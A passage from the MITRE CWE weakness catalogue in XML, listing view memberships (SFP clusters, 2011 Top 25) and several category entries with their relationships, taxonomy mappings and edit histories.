					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>838</Relationship_Target_ID>
					          <!--Inappropriate Encoding for Output Context-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>839</Relationship_Target_ID>
					          <!--Numeric Range Comparison Without Minimum Check-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>841</Relationship_Target_ID>
					          <!--Improper Enforcement of Behavioral Workflow-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>862</Relationship_Target_ID>
					          <!--Missing Authorization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>863</Relationship_Target_ID>
					          <!--Incorrect Authorization-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter> CWE Content Team </Submitter>
					          <Submitter_Organization> MITRE </Submitter_Organization>
					          <Submission_Date> 2011-12-15 </Submission_Date>
				        </Submission>
			      </Content_History>
		    </View>
                    <View ID="888" Name="Software Fault Pattern (SFP) Clusters" Status="Incomplete">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>CWE identifiers in this view are associated with clusters of Software Fault
					Patterns (SFPs).</Text>
			      </View_Objective>
			      <View_Audience>
				        <Audience>
					          <Stakeholder>Applied_Researchers</Stakeholder>
				        </Audience>
				        <Audience>
					          <Stakeholder>Academic_Researchers</Stakeholder>
				        </Audience>
				        <Audience>
					          <Stakeholder>Software_Vendors</Stakeholder>
				        </Audience>
			      </View_Audience>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>886</Relationship_Target_ID>
					          <!--SFP Cluster: Unused entities-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>891</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>897</Relationship_Target_ID>
					          <!--SFP Cluster: Entry Points-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>901</Relationship_Target_ID>
					          <!--SFP Cluster: Privilege-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>902</Relationship_Target_ID>
					          <!--SFP Cluster: Channel-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>903</Relationship_Target_ID>
					          <!--SFP Cluster: Cryptography-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>904</Relationship_Target_ID>
					          <!--SFP Cluster: Malware-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>906</Relationship_Target_ID>
					          <!--SFP Cluster: UI-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2012-03-22</Submission_Date>
				        </Submission>
			      </Content_History>
		    </View>
                    <View ID="900" Name="Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors" Status="Incomplete">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>CWE entries in this view (graph) are listed in the 2011 CWE/SANS Top 25 Most
					Dangerous Software Errors.</Text>
			      </View_Objective>
			      <View_Audience>
				        <Audience>
					          <Stakeholder>Developers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>By following the Top 25, developers will be able to significantly
							reduce the number of weaknesses that occur in their software.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Software_Customers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>If a software developer claims to be following the Top 25, then
							customers can use the weaknesses in this view in order to formulate
							independent evidence of that claim.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Educators</Stakeholder>
					          <Stakeholder_Description>
						            <Text>Educators can use this view in multiple ways. For example, if there is
							a focus on teaching weaknesses, the educator could focus on the Top
							25.</Text>
					          </Stakeholder_Description>
				        </Audience>
			      </View_Audience>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>866</Relationship_Target_ID>
					          <!--2011 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>865</Relationship_Target_ID>
					          <!--2011 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>864</Relationship_Target_ID>
					          <!--2011 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
			      </Relationships>
			      <References>
				        <Reference>
					          <Reference_Title>2011 CWE/SANS Top 25 Most Dangerous Software
						Errors</Reference_Title>
					          <Reference_Date>2011-06-27</Reference_Date>
					          <Reference_Link>http://cwe.mitre.org/top25</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-06-25</Submission_Date>
				        </Submission>
			      </Content_History>
		    </View></Views><Categories>
                    <Category ID="1" Name="Location" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are organized based on which phase
					they are introduced during the software development and deployment
					process.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="10" Name="ASP.NET Environment Issues" Status="Incomplete">
			      <Description>
				        <Description_Summary>ASP.NET framework/language related environment issues with
					security implications.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>519</Relationship_Target_ID>
					          <!--.NET Environment Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
			      </Relationships>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Configuration Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A10</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="100" Name="Technology-Specific Input Validation Problems" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are caused by inadequately
					implemented input validation within particular
					technologies.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Technology-Specific Special Elements</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>109</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>228</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-15</Modification_Date>
					          <Modification_Comment>changed from weakness to category, updated Relationships,
						added Taxonomy_Mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings,
						Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="101" Name="Struts Validation Problems" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are caused by inadequately
					implemented protection mechanisms that use the STRUTS
					framework.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>100</Relationship_Target_ID>
					          <!--Technology-Specific Input Validation Problems-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Type</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="133" Name="String Errors" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the creation and
					modification of strings.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>19</Relationship_Target_ID>
					          <!--Data Handling-->
				</Relationship>
			      </Relationships>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>135</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="136" Name="Type Errors" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are caused by improper data type
					transformation or improper handling of multiple data
					types.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>19</Relationship_Target_ID>
					          <!--Data Handling-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="137" Name="Representation Errors" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are introduced when inserting or
					converting data from one representation into another.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>19</Relationship_Target_ID>
					          <!--Data Handling-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="139" Name="DEPRECATED: General Special Element Problems" Status="Deprecated">
			      <Description>
				        <Description_Summary>This entry has been deprecated. It is a leftover from PLOVER,
					but CWE-138 is a more appropriate mapping.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description,
						Functional_Areas, Name, Relationships, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">General Special Element
						Problems</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Category>
                    <Category ID="16" Name="Configuration" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are typically introduced during the
					configuration of the software.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>1</Relationship_Target_ID>
					          <!--Location-->
				</Relationship>
			      </Relationships>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Server Misconfiguration </Mapped_Node_Name>
					          <Mapped_Node_ID>14</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Application Misconfiguration </Mapped_Node_Name>
					          <Mapped_Node_ID>15</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="169" Name="Technology-Specific Special Elements" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper handling of
					special elements within particular technologies.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Note that special elements problems can arise from designs or languages
						that</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>do not separate "code" from "data"; or</Text>
						            <Text>mix meta-information with information.</Text>
					          </Block>
				        </Note>
			      </Other_Notes>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that technology-specific special elements
							will be injected/removed/manipulated in the input vectors of their
							software system. Use an appropriate combination of black lists and white
							lists to ensure only valid, expected and appropriate input is processed
							by the system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Technology-Specific Special Elements</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="17" Name="Code" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are typically introduced during
					code development, including specification, design, and
					implementation.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>1</Relationship_Target_ID>
					          <!--Location-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="171" Name="Cleansing, Canonicalization, and Comparison Errors" Status="Draft">
			      <Description>
